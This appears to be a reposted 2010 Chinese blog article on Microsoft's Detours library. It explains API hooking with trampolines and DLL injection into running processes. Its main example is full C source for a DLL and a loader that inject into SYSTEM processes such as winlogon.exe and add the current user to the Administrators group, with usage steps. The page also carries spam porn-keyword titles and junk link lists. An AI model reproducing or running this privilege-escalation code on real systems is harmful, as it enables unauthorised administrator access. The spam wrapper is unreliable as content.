青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

codeArt

codeArt

關(guān)于Detours[轉(zhuǎn)]

Detours是微軟開發(fā)的一個(gè)函數(shù)庫(源代碼可在http://research.microsoft.com/sn/detours 免費(fèi)獲得), 用于修改運(yùn)行中的程序在內(nèi)存中的影像,從而即使沒有源代碼也能改變程序的行為。具體用途是:

攔截WIN32 API調(diào)用,將其引導(dǎo)到自己的子程序,從而實(shí)現(xiàn)WIN32 API的定制。
為一個(gè)已在運(yùn)行的進(jìn)程創(chuàng)建一新線程,裝入自己的代碼并運(yùn)行。
本文將簡介Detours的原理,Detours庫函數(shù)的用法, 并利用Detours庫函數(shù)在Windows NT上編寫了一個(gè)程序,該程序能使有“調(diào)試程序”的用戶權(quán)限的用戶成為系統(tǒng)管理員,附錄利用Detours庫函數(shù)修改該程序使普通用戶即可成為系統(tǒng)管理員(在NT4 SP3上)。

一. Detours的原理

1. WIN32進(jìn)程的內(nèi)存管理

總所周知,WINDOWS NT實(shí)現(xiàn)了虛擬存儲(chǔ)器,每一WIN32進(jìn)程擁有4GB的虛存空間, 關(guān)于WIN32進(jìn)程的虛存結(jié)構(gòu)及其操作的具體細(xì)節(jié)請(qǐng)參閱WIN32 API手冊(cè), 以下僅指出與Detours相關(guān)的幾點(diǎn):

(1) 進(jìn)程要執(zhí)行的指令也放在虛存空間中
(2) 可以使用QueryProtectEx函數(shù)把存放指令的頁面的權(quán)限更改為可讀可寫可執(zhí)行,再改寫其內(nèi)容,從而修改正在運(yùn)行的程序
(3) 可以使用VirtualAllocEx從一個(gè)進(jìn)程為另一正運(yùn)行的進(jìn)程分配虛存,再使用 QueryProtectEx函數(shù)把頁面的權(quán)限更改為可讀可寫可執(zhí)行,并把要執(zhí)行的指令以二進(jìn)制機(jī)器碼的形式寫入,從而為一個(gè)正在運(yùn)行的進(jìn)程注入任意的代碼

2. 攔截WIN32 API的原理

Detours定義了三個(gè)概念:

(1) Target函數(shù):要攔截的函數(shù),通常為Windows的API。
(2) Trampoline函數(shù):Target函數(shù)的復(fù)制品。因?yàn)镈etours將會(huì)改寫Target函數(shù),所以先把Target函數(shù)復(fù)制保存好,一方面仍然保存Target函數(shù)的過程調(diào)用語義,另一方面便于以后的恢復(fù)。
(3) Detour 函數(shù):用來替代Target函數(shù)的函數(shù)。

Detours在Target函數(shù)的開頭加入JMP Address_of_ Detour_ Function指令(共5個(gè)字節(jié))把對(duì)Target函數(shù)的調(diào)用引導(dǎo)到自己的Detour函數(shù), 把Target函數(shù)的開頭的5個(gè)字節(jié)加上JMP Address_of_ Target _ Function+5作為Trampoline函數(shù)。例子如下:

攔截前:Target _ Function:
;Target函數(shù)入口,以下為假想的常見的子程序入口代碼
push   ebp
mov   ebp,   esp
push   eax
push   ebx
Trampoline:
;以下是Target函數(shù)的繼續(xù)部分
……

攔截后: Target _ Function:
jmp   Detour_Function
Trampoline:
;以下是Target函數(shù)的繼續(xù)部分
……

Trampoline_Function:
; Trampoline函數(shù)入口, 開頭的5個(gè)字節(jié)與Target函數(shù)相同
push   ebp
mov   ebp,   esp
push   eax
push   ebx
;跳回去繼續(xù)執(zhí)行Target函數(shù)
jmp   Target_Function+5
3. 為一個(gè)已在運(yùn)行的進(jìn)程裝入一個(gè)DLL

以下是其步驟:

(1) 創(chuàng)建一個(gè)ThreadFuction,內(nèi)容僅是調(diào)用LoadLibrary。
(2) 用VirtualAllocEx為一個(gè)已在運(yùn)行的進(jìn)程分配一片虛存,并把權(quán)限更改為可讀可寫可執(zhí)行。
(3) 把ThreadFuction的二進(jìn)制機(jī)器碼寫入這片虛存。
(4) 用CreateRemoteThread在該進(jìn)程上創(chuàng)建一個(gè)線程,傳入前面分配的虛存的起始地址作為線程函數(shù)的地址,即可為一個(gè)已在運(yùn)行的進(jìn)程裝入一個(gè)DLL。通過DllMain 即可在一個(gè)已在運(yùn)行的進(jìn)程中運(yùn)行自己的代碼。

二. Detours庫函數(shù)的用法

因?yàn)镈etours軟件包并沒有附帶幫助文件,以下接口僅從剖析源代碼得出。

1. PBYTE WINAPI DetourFindFunction(PCHAR pszModule, PCHAR pszFunction)

功能:從一DLL中找出一函數(shù)的入口地址
參數(shù):pszModule是DLL名,pszFunction是函數(shù)名。
返回:名為pszModule的DLL的名為pszFunction的函數(shù)的入口地址
說明:DetourFindFunction除使用GetProcAddress外,還直接分析DLL的文件頭,因此可以找到一些GetProcAddress找不到的函數(shù)入口。

2. DETOUR_TRAMPOLINE(trampoline_prototype, target_name)
功能:該宏把名為target_name 的Target函數(shù)生成Trampoline函數(shù),以后調(diào)用 trampoline_prototype在語義上等于調(diào)用Target函數(shù)。

3. BOOL WINAPI DetourFunctionWithTrampoline(PBYTE pbTrampoline, BYTE pbDetour)
功能:用Detour 函數(shù)攔截Target函數(shù)
參數(shù):pbTrampoline是DETOUR_TRAMPOLINE得到的trampoline_prototype,pbDetour是 Detour 函數(shù)的入口地址。

4. BOOL WINAPI DetourRemoveWithTrampoline(PBYTE pbTrampoline,PBYTE pbDetour)
功能:恢復(fù)Target函數(shù)
參數(shù):pbTrampoline是DETOUR_TRAMPOLINE得到的trampoline_prototype,pbDetour是 Detour 函數(shù)的入口地址。

5. BOOL WINAPI ContinueProcessWithDll(HANDLE hProcess, LPCSTR lpDllName)
功能:為一個(gè)已在運(yùn)行的進(jìn)程裝入一個(gè)DLL
參數(shù):hProcess是進(jìn)程的句柄,lpDllName是要裝入的DLL名

三. 程序?qū)嵗?br style="LINE-HEIGHT: normal">
以一個(gè)能使有“調(diào)試程序”的用戶權(quán)限的用戶成為系統(tǒng)管理員的程序做例子說明Detours 庫函數(shù)的用法。程序的設(shè)計(jì)思路是找一個(gè)以System帳號(hào)運(yùn)行的進(jìn)程,如spoolss.exe, rpcss.exe, winlogon.exe, service.exe等,使用ContinueProcessWithDll在其中注入把當(dāng)前用戶加入到 Administrators本地組的DLL,因?yàn)樵揇LL在這些進(jìn)程的安全上下文環(huán)境運(yùn)行,所以有相應(yīng)的權(quán)限。

先編寫相應(yīng)的DLL:

/*admin.dll, 當(dāng)進(jìn)程裝入時(shí)會(huì)把名為szAccountName
的用戶加入到Administrators本地組。*/

#include
#include
#include
#include

/*以下創(chuàng)建一共享段實(shí)現(xiàn)進(jìn)程間的數(shù)據(jù)通訊,
szAccountName 是用戶名,bPrepared說明
szAccountName是否已初始化。*/

#pragma data_seg(".MYSHARE")
BOOL bPrepared=FALSE;
wchar_t szAccountName[100]={0};
#pragma data_seg()

#pragma comment(linker, "/SECTION:.MYSHARE,RWS")

/*程序調(diào)用SetAccountName設(shè)置要加入到Administrators
本地組的用戶名,并通知DllMain
已初始化szAccountName ,
以后被裝入時(shí)可調(diào)用ElevatePriv */

__declspec(dllexport) VOID WINAPI
SetAccountName(wchar_t *Name)
{
    wcscpy(szAccountName,Name);
    bPrepared=TRUE;
}

/*把名為szAccountName的用戶加入
到Administrators本地組*/

__declspec(dllexport) VOID WINAPI ElevatePriv()
{
    LOCALGROUP_MEMBERS_INFO_3 account;
    account.lgrmi3_domainandname=szAccountName;
    NetLocalGroupAddMembers(NULL,L"Administrators",
        3,(LPBYTE)&account,1);
}

__declspec(dllexport) ULONG WINAPI
DllMain(HINSTANCE hInstance,
        DWORD dwReason, PVOID lpReserved)
{
    switch (dwReason) {
   case DLL_THREAD_ATTACH:
       if (bPrepared)
           ElevatePriv();
    }
    return TRUE;
}

程序如下:

/*AddMeToAdministrators.exe 把當(dāng)前用戶加入到
Administrators本地組。使用方法為:(1)
運(yùn)行任務(wù)管理器找到spoolss.exe或rpcss.exe或winlogon.exe或sevice.exe的進(jìn)程ID (2)執(zhí)行AddMeToAdministrators.exe procid, 其中procid為(1)記下的進(jìn)程ID (3)簽退再簽到,運(yùn)行用戶管理器,即可發(fā)現(xiàn)自己已在Administrators本地組中。*/

#include
#include
#include
#include
#include

extern VOID WINAPI SetAccountName(wchar_t *Name);

/* GetCurrentUser得到自己的用戶名稱*/

void GetCurrentUser(wchar_t *szName)
{
    HANDLE hProcess, hAccessToken;
    wchar_t InfoBuffer[1000],szAccountName[200],
        szDomainName[200];
    PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer;
    DWORD dwInfoBufferSize,dwAccountSize = 200,
        dwDomainSize = 200;
    SID_NAME_USE snu;

    hProcess = GetCurrentProcess();

    OpenProcessToken(hProcess,TOKEN_READ,&hAccessToken);

    GetTokenInformation(hAccessToken,TokenUser,
        InfoBuffer,
        1000, &dwInfoBufferSize);

    LookupAccountSid(NULL, pTokenUser->User.Sid,
        szAccountName,
        &dwAccountSize,szDomainName, &dwDomainSize, &snu);
    wcscpy(szName,szDomainName);
    wcscat(szName,L"\");
        wcscat(szName,szAccountName);
}

/* EnablePrivilege啟用自己的“調(diào)試程序”的用戶權(quán)限*/

BOOL EnablePrivilege(LPCTSTR szPrivName,BOOL fEnable)
{
    HANDLE hToken;
    if (!OpenProcessToken(GetCurrentProcess(),
        TOKEN_ADJUST_PRIVILEGES, &hToken))
        return FALSE;
    TOKEN_PRIVILEGES tp;
    tp.PrivilegeCount = 1;
    LookupPrivilegeValue(NULL, szPrivName,
        &tp.Privileges[0].Luid);
    tp.Privileges[0].Attributes = fEnable ?
SE_PRIVILEGE_ENABLED : 0;
    AdjustTokenPrivileges(hToken, FALSE, &tp,
        sizeof(tp), NULL, NULL);
    return((GetLastError() == ERROR_SUCCESS));
}

int WINAPI WinMain(HINSTANCE hinst, HINSTANCE hprev,
                   LPSTR lpszCmdLine, int
                   nCmdShow)
{
    INT argc;
    WCHAR **argv;
    argv = CommandLineToArgvW(GetCommandLineW(),
        &argc);
    INT nProcessId = -1;
    if (argc!=2){
        wprintf(L"usage %s pid", argv[0]);
        return 1;
    }
    nProcessId = _wtoi(argv[1]);
    printf("%d ",nProcessId);
    /*要成功執(zhí)行ContinueProcessWithDll,要對(duì)winlogon.exe等進(jìn)程的進(jìn)程句柄有讀寫存儲(chǔ)器內(nèi)容和創(chuàng)建線程的權(quán)限,EnablePrivilege使本進(jìn)程有這樣的權(quán)利。*/

    if (!EnablePrivilege(SE_DEBUG_NAME, TRUE)){
        printf("AdjustTokenPrivilege Fail %u ",
            (UINT)GetLastError());
        return 1;
    }
    HANDLE   gNewHandle =
        OpenProcess(PROCESS_ALL_ACCESS
        , TRUE, nProcessId);
    if (!gNewHandle){
        printf("OpenProcess Fail %u ",
            (UINT)GetLastError());
        return 1;
    }
    wchar_t szName[100];
    GetCurrentUser(szName);
    SetAccountName(szName);
    If (!ContinueProcessWithDll(gNewHandle,
        L"c:\temp\admin.dll")) {
            printf("ContinueProcessWithDll failed %u",
                (UINT)GetLastError());
            return 3;
    }
    return 0;
}
因?yàn)?#8220;調(diào)試程序”的用戶權(quán)限缺省情況下僅賦予給管理員,因此并不會(huì)造成安全漏洞。但該程序揭示出“調(diào)試程序”的用戶權(quán)限其實(shí)是至高無上的用戶權(quán)限,只能授予給可信用戶。

四. 結(jié)論      Detours是一強(qiáng)大的工具,提供了簡單易用的函數(shù)接口來攔截WIN32 API調(diào)用和為一個(gè)已在運(yùn)行的進(jìn)程裝入一個(gè)DLL。

posted on 2010-08-29 23:08 codeArt 閱讀(638) 評(píng)論(0)  編輯 收藏 引用 所屬分類: C++

<2010年8月>
25262728293031
1234567
891011121314
15161718192021
22232425262728
2930311234

導(dǎo)航

統(tǒng)計(jì)

常用鏈接

留言簿(1)

隨筆分類

隨筆檔案

文章檔案

編程與開源

搜索

最新評(píng)論

閱讀排行榜

評(píng)論排行榜

青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            久久综合九九| 免费成人美女女| 国产亚洲精品激情久久| 国产精品久久久久免费a∨| 亚洲午夜国产成人av电影男同| 噜噜噜躁狠狠躁狠狠精品视频| 欧美一区三区二区在线观看| 国产精品美女午夜av| 午夜视频在线观看一区二区三区 | 亚洲午夜精品17c| 久久久精品动漫| 欧美一级免费视频| 性色av一区二区怡红| 久久精品国产久精国产思思| 久久人人爽人人爽| 久久综合图片| 亚洲高清视频在线| 久久免费视频一区| 亚洲精品一二区| 亚洲欧美日韩一区在线观看| 久久久国产精彩视频美女艺术照福利| 久久综合久久久| 欧美体内谢she精2性欧美| 国产真实乱偷精品视频免| 尤物九九久久国产精品的分类| 亚洲精品久久久久中文字幕欢迎你 | 国产精品亚洲综合一区在线观看| 国产农村妇女精品一二区| 欧美激情欧美激情在线五月| 麻豆国产精品一区二区三区| 亚洲在线观看视频| 亚洲美女中文字幕| 亚洲视频狠狠| 久久九九热re6这里有精品| 欧美 日韩 国产 一区| 亚洲精品你懂的| 一本色道久久综合精品竹菊| 香蕉乱码成人久久天堂爱免费| 欧美成人激情视频免费观看| 国产精品国产三级国产普通话蜜臀| 国产亚洲女人久久久久毛片| 99re66热这里只有精品3直播 | 欧美xxxx在线观看| 日韩视频免费| 欧美亚洲在线| 国产精品yjizz| 亚洲精品孕妇| 欧美 日韩 国产 一区| 亚洲欧美中文字幕| 欧美日韩在线大尺度| 亚洲国产合集| 久久久精品日韩| 亚洲欧美国产制服动漫| 欧美日韩免费高清| 亚洲国内精品在线| 免费观看一级特黄欧美大片| 欧美一级黄色录像| 欧美天堂亚洲电影院在线观看| 亚洲日本理论电影| 欧美国产另类| 久久国产精品第一页| 国产精品视频一二三| 亚洲欧美日本另类| 一本色道久久加勒比88综合| 欧美日韩极品在线观看一区| 在线一区二区三区做爰视频网站| 亚洲高清中文字幕| 欧美二区不卡| 一区二区三区www| 一区二区三区久久| 国产精品系列在线| 久久精品国产免费看久久精品| 亚洲欧美大片| 国产日韩欧美一区二区三区四区| 亚洲欧美日韩视频二区| 亚洲尤物精选| 欧美国产日韩一区二区三区| 牛夜精品久久久久久久99黑人 | av成人老司机| 99国产精品自拍| 国产精品高潮在线| 久久成人精品电影| 久久国产日韩欧美| 亚洲精品日韩欧美| 9久re热视频在线精品| 国产女优一区| 欧美国产精品va在线观看| 欧美日韩免费在线视频| 香蕉成人啪国产精品视频综合网| 午夜亚洲一区| 91久久线看在观草草青青| 日韩一区二区精品| 国内精品模特av私拍在线观看| 欧美国产日韩在线| 国产精品成人一区二区三区吃奶| 欧美成人在线免费视频| 99re视频这里只有精品| 国产精品国产一区二区| 久久久综合视频| 欧美日韩影院| 久久久www成人免费无遮挡大片| 136国产福利精品导航网址应用| 久久精品国产亚洲a| 另类图片综合电影| 正在播放日韩| 欧美一区二区日韩一区二区| 亚洲韩国日本中文字幕| 亚洲美女免费精品视频在线观看| 国产目拍亚洲精品99久久精品| 欧美91视频| 性伦欧美刺激片在线观看| 久久精品最新地址| 一本大道久久a久久精品综合| 亚洲欧美日韩国产另类专区| 亚洲国产精品一区二区久| 亚洲午夜91| 99国产精品久久久久久久久久 | 欧美性片在线观看| 欧美中文字幕第一页| 欧美精品一区二区三区在线看午夜| 久久黄金**| 欧美日韩国内自拍| 欧美成人综合在线| 国产一区二区三区在线观看网站 | 香港成人在线视频| 亚洲最新视频在线播放| 久久久久网址| 欧美有码在线视频| 欧美日韩国产精品一区| 欧美国产在线视频| 黄色一区二区在线观看| 亚洲欧美日韩精品一区二区| 亚洲欧美电影在线观看| 欧美另类极品videosbest最新版本| 久久久久久久999精品视频| 国产精品免费福利| 一区二区精品国产| 亚洲私人影院在线观看| 欧美xx视频| 亚洲高清精品中出| 亚洲国产三级网| 美女视频一区免费观看| 欧美高清视频一区二区三区在线观看| 国产亚洲精品福利| 亚洲欧美日韩在线| 久久九九热免费视频| 韩日午夜在线资源一区二区| 久久精品二区三区| 久久久夜夜夜| 亚洲电影免费在线观看| 欧美成人精品| 亚洲激情在线| 亚洲一区在线视频| 亚洲国产婷婷香蕉久久久久久| 亚洲国产婷婷综合在线精品| 亚洲国产精品黑人久久久| 巨乳诱惑日韩免费av| 91久久国产综合久久| 在线一区二区三区四区| 国产精品女主播一区二区三区| 亚洲综合三区| 久久九九99| 亚洲精品日日夜夜| 欧美婷婷久久| 亚洲欧美文学| 欧美国产日韩亚洲一区| 亚洲女人天堂av| 狠狠色狠狠色综合人人| 免费不卡在线观看| 亚洲午夜未删减在线观看| 久久综合五月天婷婷伊人| 亚洲精品一区二区三区不| 国产精品久久久一区二区三区| 久久精品成人| 99精品国产福利在线观看免费| 亚洲欧美精品suv| 亚洲国产一区在线| 国产亚洲va综合人人澡精品| 欧美成人精品福利| 午夜伦欧美伦电影理论片| 欧美激情视频在线免费观看 欧美视频免费一 | 欧美有码在线观看视频| 欧美成人乱码一区二区三区| 在线视频亚洲欧美| 精品成人一区二区| 国产精品爱久久久久久久| 免费一级欧美在线大片| 午夜久久久久久久久久一区二区| 亚洲日韩欧美视频一区| 久久综合久久88| 欧美一区二区久久久| a91a精品视频在线观看| 在线精品国产成人综合| 国产精品久久综合| 欧美日韩 国产精品| 美女久久一区| 噜噜噜久久亚洲精品国产品小说| 亚洲男女自偷自拍图片另类| 亚洲精品综合精品自拍| 欧美第一黄网免费网站|